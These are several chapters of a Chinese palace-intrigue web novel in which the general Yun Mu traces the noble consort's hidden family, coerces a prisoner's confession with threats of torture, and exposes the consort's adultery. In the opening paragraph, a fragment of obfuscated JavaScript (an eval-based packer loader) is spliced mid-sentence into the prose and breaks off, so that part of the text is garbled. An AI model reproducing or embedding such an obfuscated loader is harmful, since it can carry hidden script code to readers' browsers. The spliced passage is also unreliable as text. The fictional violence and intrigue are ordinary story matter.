两人都已经易过容,不用担心被人认出。云暮掏出李天的画像,随意找了一个中年男子问道:“这位大哥,这人名叫李天,听说就住在此处,你可有印象?” 大哥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他撑着膝盖喘了几口气,说道:“听说李家出了大官,但我也不知是在何处当官,你们不妨去京城问问。” 第一百二十三章 姓李的大官 姓李的大官,还是在京城? 云暮笑着和这大哥道谢,又掏出几颗金瓜子递了过去。 大哥摆摆手,拒绝道:“二位小哥,这就不必了,不过是突然想起来,告诉你们一声罢了。” 十年来,上乔村身子健朗的老人总有不少突发恶疾身死,剩下的要么和子女搬走,留下的人里也大多都记不得当年之事。 云暮和沈聿明决定去村人给的地址找人,巧合这么多,她不信李家人和贵妃没有半点关系。 烈日之下,两匹迅疾的白马一闪而过,扬起阵阵尘土。 青阳县,两人又用了同样的话术,但还是一无所获。 云暮颓然地牵着马,沮丧道:“我查的方向是不是错了?” 沈聿明将路边的一根笔直长棍递给她:“只是他们口风严罢了,你没瞧见吗,问起何秋林之事时,一个个的,讳莫如深,好像是畏惧着什么。” 除了畏惧何秋林,还能是谁?如今天色将晚,他们来青阳县的消息明日应该会递进宫里,好在他们易了容。 云暮拿着棍子,无差别地扫着路边的杂草,没走多久,就被绿意挡住了去路。 一人高的荷叶在绿塘中摇曳生风,半闭合的荷花还送来阵阵清香。 云暮长舒了口气,将棍子一丢,“回京找人,免得夜长梦多。” 小院炊烟起,荷风送离人。 第二日,云暮依旧没有进宫,却罕见地有人找上了门。 “大人,裴尚书的拜帖。” 眼下还有重要的事,云暮不大愿意见人,“他来做什么?” 安叔摇摇头:“老奴也不知,他只说有要事相商。” “放他进来。” 人一走到正厅,云暮扯出假笑迎了上去:“裴大人,稀客啊。” 一阵虚假的寒暄过后,裴然说道:“云大人可知今日早朝发生了何事?” 云暮一心放在查贵妃的身世上,早朝的事她也没派人去打听,如何得知? “不知。” 裴然拍了一下大腿,说道:“皇上欲修道求长生,广征术士。” 云暮眉心拧起,问道:“发生了什么?” 大梁历代都是尊佛,梁文帝这时发什么疯? 裴然愁道:“朝中人都不知,想着您日日伴驾,还当你知道些隐情,本官便斗胆来问问。” 云暮两手一摊:“让各位大人失望了,昨儿开始,本将军就告假了,一直没有进宫,也是现在才知晓此事,你们从宫里回来,问黄公公不是更快?” 裴然的话被噎在喉间,坦诚道:“问了,但他也说不出个所以然来,所以才想着来云大人这里碰碰运气。” 云暮心想,难不成哪天晚上的话把人刺激到了?梁文帝能走到今天,承受能力居然这么弱? “皇上修道,国事交给谁,太子?” 裴然点点头,“太子和秦王。” 因沈聿明和她断交,这几日总是借失忆几次提起已故之人,梁文帝试探了他们几次后终于放下心,还私下里命太医只许给沈聿明开些清热解暑的药方。 即便是想修道,如今术士也还未抵京,梁文帝也不可能直接撂担子不干,所以云暮还是没打算进宫,在她心里,旁的事再重要,也越不过查清贵妃身世一事。 以她爹娘的死还不足以定贵妃的罪,但如果是通胡呢? 随意寻了一个借口把裴然打发走后,她先是去了摘星阁一趟,甩去身后的尾巴后,她才坐上了去大通坊的马车。 经过闹市,马车停滞不前,也就在这时,云暮听见有人正讨论着今儿早上发生的事。 “今儿一早起来准备和面之时,就听闻隔壁传来翻箱倒柜的声音,我开门出去瞅了一眼,也没见着人吵架,喊了几声,声音就停了,再回屋时,声音又响了起来。出门前我还特意绕过去瞅了一眼,房里乱的哟,不知道的还以为遭贼了。” 云暮没大放在心上,催促着车夫换条路,她等不及想要问清楚。 “草民见过云大人。” 云暮开门见山:“起来吧。听说你们都是从青河县上乔村搬出来的?那你们可还记得李天一家?” 几人自然记得,那个年迈的老人答道:“自然记得,当时草民就住在他们隔壁,李天一家是村子里出了名的无赖,爹娘早死,留下五个孩子。” 云暮突然打断了他的话:“五个?为何本将军去查的时候都说只有四兄弟?” 老人道:“是四兄弟没错,但这个女孩鲜有人知,女婴才刚出生就被送去了外家,但对外说是产了一个死婴,若不是草民的媳妇当时去帮李家接生也不会知晓。” 云暮问道:“那个女婴活到如今又多大了?你们后来可还有听过她的消息?” 老人算了算:“应当是三十五六岁,消息没有听过,但在昌平十二年时,李家突然得了一笔横财,后来还在青阳县的闫村买下了一个带着院子的房屋,他们炫耀了许久。” 云暮说出了贵妃簿籍上的那个地方,老人连忙道:“对对对,就是此处。” 云暮心里有了猜测,将方才老人说的话都写了下来,又让他们一家都签字摁手印。 正要把人放出去时,沈聿明突然来了,低声和云暮说了几句,云暮的脸色突然变得难看。 一大早消息就被递进了宫,如今三皇子还在禁足,贵妃就敢派人明目张胆行事。 她对着这一家老小道:“李天背后的人查到了你们,你们家被他们翻了个底朝天,现在回去只怕是活不过明日,本将军派人送你们出京避避风头,等事了了再送你们回来。” 当初他们搬出来就是为了活命,如今听了这个消息,心里都咯噔了一下,若是昨夜他们没有搬出来,那今早他们一家还有命吗? “多谢云大人。” 云暮又和沈聿明一道去找了几个上乔村的老人,她捏着供词,把朝中姓李的官员都想了个遍,还是没有找到一个叫李北的官员。 她点了点李北的名字,问道:“你觉不觉得这个名字有些眼熟?” 第一百二十四章 再审李天 沈聿明嗯了一声:“涿州的上一任知县,李北,巧的是,他的兄长就叫李南,或许我们都被那个大哥的话误导了。” 云暮翻着李南李北的卷宗,果不其然,在上面就找到了他们的老家,正是那个老人所说的后来新买的房子。 云暮又去了一趟李天的外家,得到了不少证据。 几日没有进宫,最后还是梁文帝按捺不住,派人来宣云暮进宫。 “你还在同朕置气?” 云暮心说:你还没有那么大的脸。她避开梁文帝的动作,自行站了起来,面上恭敬地说道:“微臣不敢。” 梁文帝收回手,坐在了榻上:“朝中的事你也听说了?” 云暮也没瞒着他:“当日一下早朝,裴大人就登门拜访了。” 梁文帝盯着他:“你就没有什么想对朕说的?还是说此举正合你意?” 冒犯了一次,云暮也不怕有第二次,但眼下还要同他虚与委蛇,她垂眸道:“微臣不明白皇上此话是何意。” 梁文帝:“你从前和明熹交好,现如今又和太子交好,朕放权给他们,哪天明熹恢复了记忆,这对你百利无一害。” 云暮垂眸,压住想翻白眼的欲望:“皇上说笑了,微臣是您一手提拔上来的,也只忠于您,太子不过是因臣医好他的腿一事心存感激,而秦王。” 提到沈聿明,她轻嗤了一声,拿出了那枚梁文帝格外眼熟的玉佩,将其摔在地上,四分五裂:“我与他,如同此玉。” 梁文帝心疼地看着地上的碎玉,“不想要随意赏了人就是,你摔它作甚?” 云暮道:“我和秦王反目,这不正合你意?皇上今日召臣进宫,所为何事?” 梁文帝哪敢说几日不见,惦记得很,他说道:“御膳房做的素斋不错,便想让你来尝尝。” “黄如海,传膳。” 如今已经是午时,早就过了用膳的时间,云暮半点面子也不给:“臣还有事,皇上让后妃陪着您用吧,臣先告退了。” 才走出去不远,云暮就被黄如海拦了下来,“云大人,贵妃身体不适,求了皇上要您过去号个脉。” 瞌睡了就有人递枕头,云暮勾了勾嘴角,“走吧。” 一直紧闭的宫门因为梁文帝的到来敞开,云暮越过梁文帝的肩头打量着贵妃,那天晚上的贵妃可不似今日这般憔悴。 就在云暮打量贵妃的同时,贵妃亦在试图找出他的破绽,视线放在他的鞋面上,但上面光洁无尘土。 因三皇子的事,梁文帝不太愿意搭理贵妃,但对方年纪也不小了,肚子里又还怀着他的孩子,于情于理他都不该拒绝贵妃。 “云卿,给贵妃看看。” 贵妃看着云暮的脸说道:“多日不见,云大人看起来黑了不少,早知大人日日在外奔波,本宫就不劳烦你了。” 云暮闭眼号脉不答,贵妃的脸上有过一瞬的尴尬。 云暮很快就收回手:“娘娘是气急攻心,只需静养即可。” 贵妃则捂着心口,愧疚道:“皇上,臣妾心口一直狂跳不止,又有些腹痛,又听说今日云大人进宫,这才急病乱投医。” 见她如此,梁文帝也不好再说什么,“你好好养胎,旁的事与你无关。” 贵妃掏出手帕擦了擦眼,柔弱地应了声是,“臣妾就是忧心承熙,皇上,他已经知错了,您就……” 她也听说了梁文帝修道放权一事,三个月后禁足才解,朝中还有梁承熙的地位吗?这些时日,梁文帝一直没有踏进后宫,她想求情都不行,今日听到云暮来了,才想出了这个法子。 梁文帝脸色一冷,“他既能做出这种残害手足之事,朕只罚了他一年的俸禄和三个月的禁足已经是格外开恩,你若是再为他求情,朕便要重罚于他。” 贵妃就要跪地求情,云暮钳住她的胳膊,让她动弹不得:“娘娘,地上凉,你要多为腹中的龙胎着想啊。” 梁文帝此刻也明白了贵妃的用意,气得当场拂袖离去,“往后贵妃身体不适,不用再来报朕,直接传太医就是。” 贵妃瘫坐在榻上,目送着梁文帝离去。人才走,红袖就端来了一盆清水,替她擦去面上扑的白粉,脸蛋白皙透红,气色大好。 贵妃往脸上擦着玫瑰香膏:“那几个人还是没找到?” 红袖答道:“并未,他们一家像是人间蒸发了一般,把整个坊市都找了一遍,还是没有发现踪迹。” 贵妃将香膏掷在梳妆台上,铜镜里映出她那张美丽又扭曲的脸:“废物,李天几人没找到就算了,现在连那几个手无寸铁的百姓都找不到。” 根据眼线的描述,贵妃画出了两个人的背影,虽然和云暮并不相像,但她还是觉得其中一个就是他,她想不通的是,云暮怎么就找到了闫村,又查到了多少关于她的事? 既然找不到,那她就换一个方法,“派人去云府周围监视,如果发现不对,即刻来报。” 云暮出宫后,拿着证据去了布政坊,冯章他们时刻派人看守,更不许眼生之人靠近。 云暮一字一句念着李天四兄弟做的恶事,初时李天不以为意,直到云暮说出李南李北两兄弟时,他才有了波澜。 李天仇视着云暮,但很快又恢复了平静:“世上同名同姓者多得数不清,我若是有当知府的兄弟还至于被你困在这里?” 供词打在李天的脸上,啪啪作响,云暮笑道:“要本将军替你回忆吗?父母死后,你把亲妹卖给一个有羊癫疯的老男人,对方给了李家十两银子,男人一死,你就霸占了他的房子,还让你亲妹子以卖身葬父的名义去乞钱。” “后来李北得贵人赏识,调去了涿州做官,没有真才实学,但一去涿州就是知县,虽然他们把簿籍上的地址改成了涿州,但没想到还有人记着你们当年做的事吧?” 李天不住挣扎,怒吼:“闭嘴,你给我闭嘴!这些都是你的胡乱猜测。” 云暮收好供词:“推测也好,真相也罢,只要我将手中的这份供词交给皇上,他自会定夺,你说宫里的那位娘娘如今已经举步维艰了,再被你拖累,这可如何是好?” 地一百二十五章 李天招供 冯章都被云暮这一番话震在了原地,才几日没跟在云暮身边,他怎么就听不懂云暮的话了?而且这李天看着就像亡命之徒,怎么会和宫里扯上关系? 锁链被李天拉得叮铃响,他欲起身,但很快又被冯章他们按了回去。 云暮好整以暇地坐在他的对面,悠悠地补上一句:“你还不知道吧,你的最后一个好弟弟也落到我的手中了。” 她啧啧了两声,摇头感慨:“你说他好不容易才回一次京城,结果发现兄长不在,就去京兆尹托官府寻人,又好死不死被我的人发现,兄弟情深害了他啊。” 李天双手捶着刑桌:“云暮,你把他怎么了?” 云暮抬腿,踢翻了他的椅子,一脚踩在了他的胸口,冷冷道:“他现在当然还活着,但是等会儿就不能保证了。你皮糙肉厚的,不招也无所谓,但细皮嫩肉的李海他受得住吗?可别是才捆到诏狱的刑架上就被吓晕过去了吧?” 十年前,李天正是好年纪,且此人变态,杀人之前就把人折磨得奄奄一息才肯了结。回想她爹娘死前的惨状,她怀疑杀她爹娘的人里就有李天,当下恨不得把他给杀了泄愤。 李天扭动着身体,“你敢对他动刑,我做鬼都不会放过你!” 云暮呵了一声,不屑道:“本将军不知砍过多少人的脑袋,若是真有鬼魂索命,本将军早就死了八百回了,还怕你这一遭?” 她收回脚,对冯章说道:“堵上嘴,把人看牢了,把李海提到隔壁房,先让他在布政坊把刑受过一遍再送去诏狱。” 又看向李天,吐字清晰:“放心,本将军一定会让你听见他的哀叫声,这都是拜你所赐。” 才刚被冯章拎起来的李天连带着椅子站了起来,哀求道:“大人,我招,您别动李海。” 云暮再次坐了回来,把其余人都赶了出去,只余下一个冯章。 “你若把一切都交代清楚,本将军自然不会动他,但如果你敢隐瞒,到时候只怕连李南李北都要被刨出来鞭尸。” 李天嗫嚅了片刻,终于开口:“当年……” 云暮越听脸色越沉,翘着的腿也被她放下,但十年前的事,李天却略过没说,怕身份暴露,云暮也没敢问,抱在胸前的手紧紧扣着手臂。 直到李天说的口干舌燥,才将事情全都交代清楚,云暮的指尖敲了两下手臂,“你还有什么事瞒着本将军吗?” 李天顶着云暮洞若观火的目光,心虚地和他对视,有些结巴:“没……没有了,云大人,小的把事情都交代完了,李海和这些事都没有关系,您看能不能把他给放了?” “有没有关系,待本将军查过之后就知道了。” 她回头看向冯章:“都记下了?” 冯章面如死灰地把供词递给云暮:“大人,都记好了。” 他知道了这么多秘辛,也不知道以后还能不能活。 云暮没看,朝李天的方向努了努嘴:“签字画押。” “李海是吧?” 云暮打量着李海,觉得他与想象中的有些不同。 李海也和李天一样,被人摁坐在刑凳上:“草民李海,云大人,不知草民犯了何事,竟被你的手下关在此处几近一个月。” 云暮挑了挑眉,人看着畏畏缩缩,说话却咄咄逼人,真有意思,她笑了笑:“确实是事出有因,听说你在江南做生意,不知做的是哪方面的生意?” 李海说道:“不过是当个卖菜工,算不上做生意。” 云暮哦了一声,“是吗,方才本将军才见了你兄长李天,也多嘴问了一句,他却说你在江南卖黑疙瘩。” 她往前凑了凑,好奇问道:“黑疙瘩是个什么东西,京城这般繁荣,本将军却从来没听说过这玩意。” 李海的脸色刷的一下就白了,他又变回了那副畏缩的模样,“草民听不懂云大人在说些什么,您方才说见过我兄长,他现下在何处?” 云暮从冯章的手中接过一枚吊坠,看着上面的花纹,恨不得当场把玉佩砸个稀烂,她将吊坠举到李海面前:“这东西,眼熟吧?” 但李海绝不相信李天会把这件事抖出来,“这吊坠是我兄长的,草民认,但卖黑疙瘩一事,草民不认。” 云暮没有说话,反倒是让冯章把纸笔给她,她提笔蘸了蘸墨水,在纸上勾勒出一个从稻田奔至林中的画。 待画晾干之后,云暮把它放在李海面前,并把当时的情形一一说出,冷汗一滴接着一滴顺着李海的脸颊滴落在他的手背上。 云暮看着他的表情,便知自己又猜对了,自从知道贵妃与李家四兄弟的关系后,她就想起米囊花之事。 出现在涿州米囊花与几方势力有关,而这些势力又都与贵妃有联系,涿州和京城的生意都被端了,但在江南卖黑疙瘩的人却逃进大山中,再也寻不到人。 江南多富商,只要让他们沾上一点,这辈子都戒不掉,钱不就滚滚流进口袋?李海去江南,显然也是得了贵妃的吩咐。 云暮鼓掌:“皇上派了这么多人都没抓到你,谁想你竟然自投罗网,也不知道本将军拿你能换得了什么前程。” …… 从白天沈到日落,即便没有得到她想要的答案,但这已经够了,只要把人弄到诏狱,到时候一切就明了了。 今晚还得再潜进长乐宫一趟,确认一下那些匕首还在不在。 “云大人,皇上请您去勤政殿。” 云暮放下金吾卫各队轮值的册子,问道:“何事?” 黄如海说道:“御膳房新换了一批厨子,皇上请您过去一道用膳。” 云暮实在不想同梁文帝坐在一处,更不想跟他一个桌吃饭,拒绝:“素斋?不去,就说本将军前几年受了苦,无肉不欢。” “来人,送黄公公出去。” 梁文帝听后,失神地碰掉了一个碟子:“他……他当真是这么说的?” “奴婢不敢隐瞒。” 这话着实诛心,梁文帝喃喃自语:“他还在怨朕。” 第一百二十六章 贵妃的秘密 云暮一连半个月都在宫中值守,这夜终于回了云府。 晨起披露去,夜携星月归,虫鸣声廊下不绝,从十五的院里走出,只有几盏烛火照亮脚下之路。 书房烛火未明,她已经察觉到屋内有人。上次卢靖走了之后,她将府中的小厮换了,就连屋内机关的位置也一并还了,今夜又是谁?这几日府外的眼睛多了几双,难不成是贵妃的人? “你终于回来了。” 幽怨的声音在不远处响起。 云暮舒了口气,没好气道:“既然来了,怎么不让人掌灯?” 沈聿明拿出火折子点燃蜡烛,委屈道:“你这几日都在宫中,我夜夜在书房里垂泪到天明,还不容易守得人归,一个拥抱也没有就罢了,竟还斥我。” 云暮倒在榻上:“贵妃太谨慎,守了她这么久才抓到把柄,待我将证据整理好,就同皇上告发她。” 沈聿明也来了兴趣:“查到什么了?” 他之前就想扮成金吾卫一道同云暮值守,但云暮说什么都不肯,他也就不敢胡来。 云暮招了招手,“附耳过来。” 两人嘀咕了一阵,沈聿明惊得下巴都要掉在地上了,“她竟然做出这种欺君之事?” 云暮抬手合上他的下巴,“我观察了好几日才发现的,让她在逍遥几日,到时再带皇上把他们抓个正着。” 沈聿明突然抬起手:“本王也要去!易容也成,这下你可不能再拒绝了。” 云暮斟了两杯茶,将其中一杯递给沈聿明:“贵妃一倒,三皇子也就不成气候了,我们可趁机将他的一些棋子吃了。” 沈聿明这次的装失忆让不少人站到了他这一边,毕竟辅佐一个听话的傀儡上位比给人当孙子的权力要大得多。 …… 贵妃腹中胎象渐稳,皇上见她怀子辛苦,特意解了禁足,为答谢帝后,特在长乐宫设宴,就连许久没有踏入后宫的梁文帝也来了,其余没有被邀请的妃嫔也都得了两道菜。 皇后和贵妃一左一右地坐在梁文帝身边,才开席,贵妃就端起酒杯:“先前臣妾不懂事,承蒙皇上厚爱,今日特解了禁足,臣妾以水代酒,敬皇上一杯。” 梁文帝将酒一饮而尽,“过去的事就让它过去吧,往后你要约束好承熙。” 贵妃应下后,又再倒了一杯水,这一次敬的却是皇后:“皇后娘娘,这几个月来,臣妾腹中的孩儿不懂事,叨扰您了,待臣妾诞下龙子,第一个带他向您请罪。” 皇后也勾起一抹笑:“本宫作为大梁的皇后,你的孩子也就是本宫的孩子,照顾他也是应当。” 云暮站在后头,百无聊赖地看着他们的逢场作戏。 见梁文帝一杯接着一杯往嘴里灌酒,她也没有阻拦,心道:过了今夜,还有的是酒给你喝。 出神间,谁知贵妃也没放过她,贵妃端着两个酒杯走到云暮面前,“几次三番让云大人来为本宫诊脉,本宫敬大人一杯。” 见云暮真的拿起酒杯,梁文帝还是没忍住出声:“你放下,不要命了,酒都敢喝?” “皇上,云大人喝不了酒,臣妾还是省得的,这和臣妾喝的一样,都是白水。” 在贵妃解释的空当,云暮一口将杯中的白水一口饮尽,还朝梁文帝的方向把酒杯往下倒。 那挑衅的狡黠模样看得梁文帝心痒痒,他又灌了好几杯冰镇过的酒,这才压住邪火。 宴会结束后,梁文帝脚步踉跄,手往后伸了伸,却扑了个空。 贵妃起身把人扶起,柔声道:“皇上,不如今夜就留宿长乐宫吧。” 梁文帝自然没有答应贵妃的提议,觉得云暮屡次拒绝他,就有后妃太多的原因,他看着云暮,希望对方能看清他的心。 云暮没有上前,反倒是叫住后面的黄如海:“没见着皇上都走不稳了吗?还不上前伺候?” 梁文帝:…… 黄如海:…… 这点酒对梁文帝不过是开开胃,他只是想借着酒疯,拉进云暮的关系。 把人送到勤政殿后,云暮又折回了长乐宫,长乐宫的人都在忙着清理残局,而贵妃开始叫水沐浴,没人注意到有人在院中的树上系了一根红绳。 沈聿明回头看着那根在风中飘荡的红绳,好奇道:“他们就是这样联系的?” 云暮把人扯回正路上:“对,只要挂上,等到了子时,那人就会翻墙进长乐宫,咱只等看着好戏就是。” 沈聿明了然地点点头,只是现下才亥时,难不成他们就一直坐在这干等? 云暮看出他的想法,“想什么呢,跟我去巡逻,等绕着皇城巡了一圈后,时间也差不多了。” 沈聿明仗着他们选了一条人少的路,反握住她的手:“那我是不是也得同他们喊你云将军?” 云暮:…… 沈聿明凑到她耳边,“嗯?”了一声,又低沉地喊了几句:“云将军。” 温热的呼吸喷洒在耳廓上,云暮的耳朵瞬间红得滴血,她眼睫颤了两下,抬手用力扇了扇风,往前走了两步拉开两人的距离,“快走吧,等会儿就晚了。” 沈聿明却不打算放过她,左一声云将军,右一口云大人叫个没完,最后还是云暮忍不住,从腰间的袋子里掏出一块糕点塞进他的嘴里,世界终于清净。 沈聿明鼓着腮帮子嚼了好一会儿才咽下去,“这是天香楼的梅花酥,云将军何时买的?” 宫门落钥前他们就得进宫了,晚膳都没有吃,云暮提早去买了一些糕点放在值房,方才来的时候顺带过去拿了,但肯定是不能把实情告诉沈聿明的。 云暮解下腰间的袋子递给他:“前几日买的,一直没吃,就等着放到今日毒哑你这张喋喋不休的嘴。” 沈聿明拿出一块,咬了一口,天香楼从不卖过夜的糕点,而这几块梅花酥还热乎着,咬一口香甜四溢,根本不是她口中的放了好几日。 他又拿了一块,递到云暮嘴边:“张嘴。” 云暮伸手要接过,沈聿明却避开了她的手,她只得低头咬了一口。两人把几块糕点分食干净后,沈聿明替云暮擦掉嘴边的细屑:“好了,走吧。” 第一百二十七章 看一出好戏 云暮到勤政殿时,正值黄如海守夜,殿内隐隐透出微弱的光,“给皇上用醒酒汤了吗?” 黄如海道:“用了,现下皇上正在打坐呢,吩咐了谁也不许打扰。” 云暮充耳不闻,任凭黄如海在身后哎了几声,她自顾自地推开门进了偏殿。 殿内摆满了冰盆,长长的白色纱帐在风中摇曳,梁文帝盘腿坐在床的正中间,身旁也摆了两个冰盆。 听到动静,他并未睁眼,不悦道:“朕不是说了不见人吗?” 云暮停住脚步,说道:“那微臣现在出去?” 梁文帝的眼瞬间睁开,他惊喜道:“云卿,你怎么来了?可是想通了?” 说罢,就要起身把人往床上带,动作间,胸前的衣襟大敞。 云暮暗道如今正用得上他,努力忍住厌恶:“微臣今夜来是想请皇上去看一出戏。” 会错意的梁文帝尴尬地停在原地,但这好歹是云暮第一次在夜间寻他,他问道:“去看什么戏,去哪看?” 云暮往正殿走去,顺道带上了门:“皇上先换好衣物吧。” 云暮从窗户翻了出去,对上梁文帝期待的目光,她勾唇笑了笑:“皇上还是把您的人叫出来吧,微臣笨手笨脚的,恐伤了您。” 梁文帝急道:“朕信你。” 云暮抱着手臂,倚在窗边的小树上,好意提醒:“皇上,再不快些,就赶不上好戏了。” 暗一自身后走出,径直把梁文帝从里面带了出来,不等梁文帝发问,暗一就开口了:“云大人,去何处?” “长乐宫。” 暗一带着梁文帝走得飞快,脚下半点动静都没有,树叶沙沙声响,月光映出的树影张牙舞爪地在墙上作乱。 到长乐宫外时,梁文帝问道:“你带朕来此处作甚?” “前阵子微臣发现了贵妃的一个秘密,今夜特邀皇上来看看。” 云暮说完,率先翻了过去,眼神隐晦地对上了不远处的一道视线。暗一紧随其后,因带了一个人,瓦片发出轻微的声响,云暮心里起了疑。 整个长乐宫都陷入了沉寂,漆黑一片,梁文帝的心里有一种不祥的预感。 云暮带着人往寝殿的方向走去,越走越近,殿中的声音也就传到了在场的几个习过武的人的耳里。 云暮无声地勾了勾嘴角,借着月光欣赏着梁文帝铁青的脸色,心中恶劣地想:若是他被贵妃的事刺激到气昏过去该有多好。 云暮把匕首插进窗台,慢慢地把紧闭的窗打开,而后把最前头的位置让给了梁文帝,殿中的声音越发清晰地传进他们的耳朵。 “贱妇!朕待你不薄,你竟如此回报朕!” 云暮也没想到梁文帝会突然出声。 床上正抱在一起难舍难分的两人同时看向声音的来源,贵妃尖叫了一声,扯过被子盖在光裸的身体上,伏在她身上的男子慌忙地下了床,胡乱地将衣服披在身上,捂着脸就想逃。 “抓住他。” 贵妃的这声尖叫把后罩房的人都惊醒了,红袖边系着扣子边往寝殿的方向走,“娘娘,怎么了?” 见殿外守夜的太监还靠着门睡得香甜,红袖晃了晃他,突然察觉有一道黑影飞了过去了,在之后,又一声尖叫。 红袖正要推门,身后脚步声起,云暮把红袖拉开,打开了门。 贵妃已经穿上寝衣,捧着肚子跪在了地上,暗一也押着那个奸夫来到梁文帝面前。 怒不可遏的梁文帝拔出云暮腰间的剑作势就要杀了贵妃,贵妃把头磕到发青:“皇上恕罪,事情不是你想的那样。” 这番说辞把梁文帝气笑了,“朕亲眼所见,亲耳所听,你还想抵赖?” 贵妃还心存侥幸,她指着那个跪在地上的男人对梁文帝哭道:“皇上,都是他强迫于妾身,妾身还怀着龙胎,如何反抗得了。” 一直沉默的男人猛抬起头,看了贵妃一眼,下定决心:“皇上,是属下强迫娘娘,千错万错都是属下一人的错。” 方才的字字句句又涌进梁文帝的耳中,他举着剑的手抖了抖:“你当朕是聋子吗?你腹中的孩子到底是谁的当朕不知吗?混淆皇室血脉,你胆子大得很啊!” 事情败露,贵妃彻底绝望,她瘫软在地,呵呵笑了两声,“那又如何,臣妾已经受够皇上您了。” 她捋起袖子,“皇上,你每来臣妾宫里一次,臣妾的身上就添一次伤,你何曾怜惜过臣妾。” 云暮的目光落在手臂斑驳的伤痕上,不为所动。 见贵妃要把他那见不得人的癖好在云暮面前说出,梁文帝一剑刺在她的肩头,“闭嘴!” 血染红了寝衣,贵妃恍如没有察觉到痛意一般,她看着梁文帝,哈哈大笑:“皇上,你怕了,是怕你喜欢折磨人的手段被云大人发现吗?他本来就厌恶你,如今想来只会更恶心!” 躲在屋顶看热闹的沈聿明一愣,不敢相信自己的耳朵,这就是云暮一直瞒着他的事? 贵妃拔下肩头的剑,走到云暮面前,手搭在领口,作势要褪下寝衣,“云大人,你想知道本宫是如何侍寝的吗?” 心慌不止的梁文帝喝住贵妃,对着她的心口直直刺去。 按住贵妃肩头的手把她往前一带,原本应该刺向贵妃的的剑把云暮的左肩捅了个对穿。 屋顶的沈聿明扣着瓦片,掌心上的血一滴一滴往下坠,正好滴在云暮的肩头。 “云卿!” “暗一,去传太医!” 梁文帝不知所措,想要将剑拔出却又不敢,只好把过错推到旁边身上:“你为何要替这个贱人挡剑?” 云暮咬着牙根往前几步,贵妃还没到该死的时候,不论如何,她都得保下这条命。双目往上一抬,云暮盯着上面的人,无声地摇了摇头,不许他轻举妄动。 贵妃也被这一出惊在了原地,“你为何要救我?” 云暮不答。 太医来时,看着满殿的狼藉和受伤的两人,一个是宠妃,一个是宠臣,他不知先给谁看了。 梁文帝指着云暮道:“给云大人看。” 太医踌躇了片刻,说道:“云大人,还请解衣看伤。” 第一百二十八章 灭门的真相 云暮拿过太医手中的药箱,“本将军自己来,不用你。” 梁文帝不同意:“这怎么行,你受了伤,怎么包扎?这伤是因为朕,不如让朕帮你?” 云暮松开捂着肩头的手,任由掌心的血滴落:“既如此,臣这伤就不处理了。” 梁文帝哆嗦着手指他,一甩衣袖:“滚去处理伤口,朕让人给你取一套干净的衣物。” 云暮往外走了几步,又回头道:“皇上,且留贵妃一命,臣有事要禀。” 梁文帝仍是背对着他,沉默不语,云暮却知他已经应允。 没人察觉到头顶的空了几块的瓦片重新被人合上了。 云暮刚关上偏殿的门,沈聿明下一瞬就翻窗进来,他沉默地接过云暮手中的药箱,云暮却没有松手:“王爷,下官自己来就好。” “你的手怎么了?”云暮注意到他的手,扣住他的手腕,将掌心翻了过来。 “无事。” 沈聿明一根一根掰掉她被血糊住的手,将手洗净后,随意上了点药,他背过身去:“你把上衣脱了,放心,本王绝不会多看一眼。” 云暮无法,就算不愿,但此刻已经失血太多,不得不处理伤口。 衣衫半褪,露出圆润莹白的肩头,但沈聿明却没有半分旖旎之心,用温水一点一点擦去上面的血,盆中清澈的水很快就变成血水,他把盆放在门边,“让人换水。” 冷脸的沈聿明对云暮来说很是陌生,云暮抓着他的衣袖,问道:“你都听到了?” 沈聿明在生自己的气,他一早就看出宋枫对云暮心怀不轨,怎么就没看出梁文帝那种看猎物的眼神? 之前她过激的反应,在宫里显然是受过创伤,而这段时间他竟也由着云暮独自一人在宫中调查贵妃的事。 心口泛起密密麻麻的疼意,沈聿明轻柔地拿着帕子给她擦去溅到脸上的血点后,他缓了缓声音:“这些回去再说,先让人来换水吧。” 包扎的时候,门被敲得震天响,梁文帝的声音响起:“云卿,朕来给你送衣服。” 门已经插上了横栏,即便知道他进不来,但云暮还是怒道:“不许进来!” 沈聿明捏着纱布的手青筋暴起,杀心四起。 云暮握住了沈聿明的手,安抚地捏了捏:“劳烦王爷继续给下官包扎吧。” 梁文帝在外头不住地拍着门,想闯进殿中却无可奈何。 沈聿明飞速地打了一个结,又替她拢好衣服。 银针穿过烛火,偏殿陷入黑暗,云暮把沈聿明按在门上。 哐当一声,梁文帝的声音更急了,“云卿,里头怎么黑了,发生了何事,你把门打开,让朕进去看看。” 云暮勾着沈聿明的脖子,两人额头相抵,呼吸缠绕在一起,她轻声问道:“可以吗?” 沈聿明的呼吸也变得粗重,他一言不发,头一偏,精准地找到了她的唇。 等到梁文帝终于忍不住破门而入时,云暮靠在桌边,正拿着火折子点蜡烛。 看着梁文帝手中的那套浅黄色的衣袍,她将蜡烛掷了过去,“我不穿这个!” 蜡烛在托盘里滚了两圈,点燃了纱衣,梁文帝抬袖将火扑灭,任由龙袍的袖子被燎出洞。 “难道你整晚都要穿着这脏衣服?” 云暮道:“是又如何,即便是满身泥污,我也不愿穿它。” 梁文帝被他的态度气到不行,但又不能忍责备,他将衣服丢在桌上,“你非要把朕气死才会消停!” 云暮绕过他往外走去,“皇上,今夜的戏还没唱完。” …… 梁承熙禁足未解,贵妃也被下了大狱,这等丢人之事,梁文帝并不愿被人知晓,长乐宫的宫人悉数被杖毙,群臣们想试探但也探不出云暮的口风。 云暮站在牢房门口,看着死气沉沉躺在稻草上的何秋林,囚服空荡荡地挂在她身上,隆起的肚子也慢慢瘪了下去。 “贵妃娘娘。” 何秋林的空洞的眼神看向说话的云暮,吃吃笑道:“这儿那里还有什么贵妃,不过是一个阶下囚罢了,你是怎么查到我的身世?” 云暮打开门,席地而坐,“你不该派李天去杀造瓦司的掌事。” “就因为一个李天?” 云暮点点头:“就因为李天,说实话,一开始只是想找出你派李天来灭口想证据,但没想到竟然发现了你这么大的秘密。” 贵妃突然发起疯,抓起稻杆就往云暮身上砸:“我只是不想再被人当成砧板上的鱼肉,我有什么错!” 云暮一把掐住她的脖颈,冷声道:“你错就错在不该拿别人的命当垫脚石!” 贵妃道:“他们技不如人,死了也是活该。” 云暮道:“你今日落到我的手上,也是你活该。” 贵妃拂开他的手,“我是皇子生母,你杀不了我,只要我还活着,就有东山再起的那一刻。” 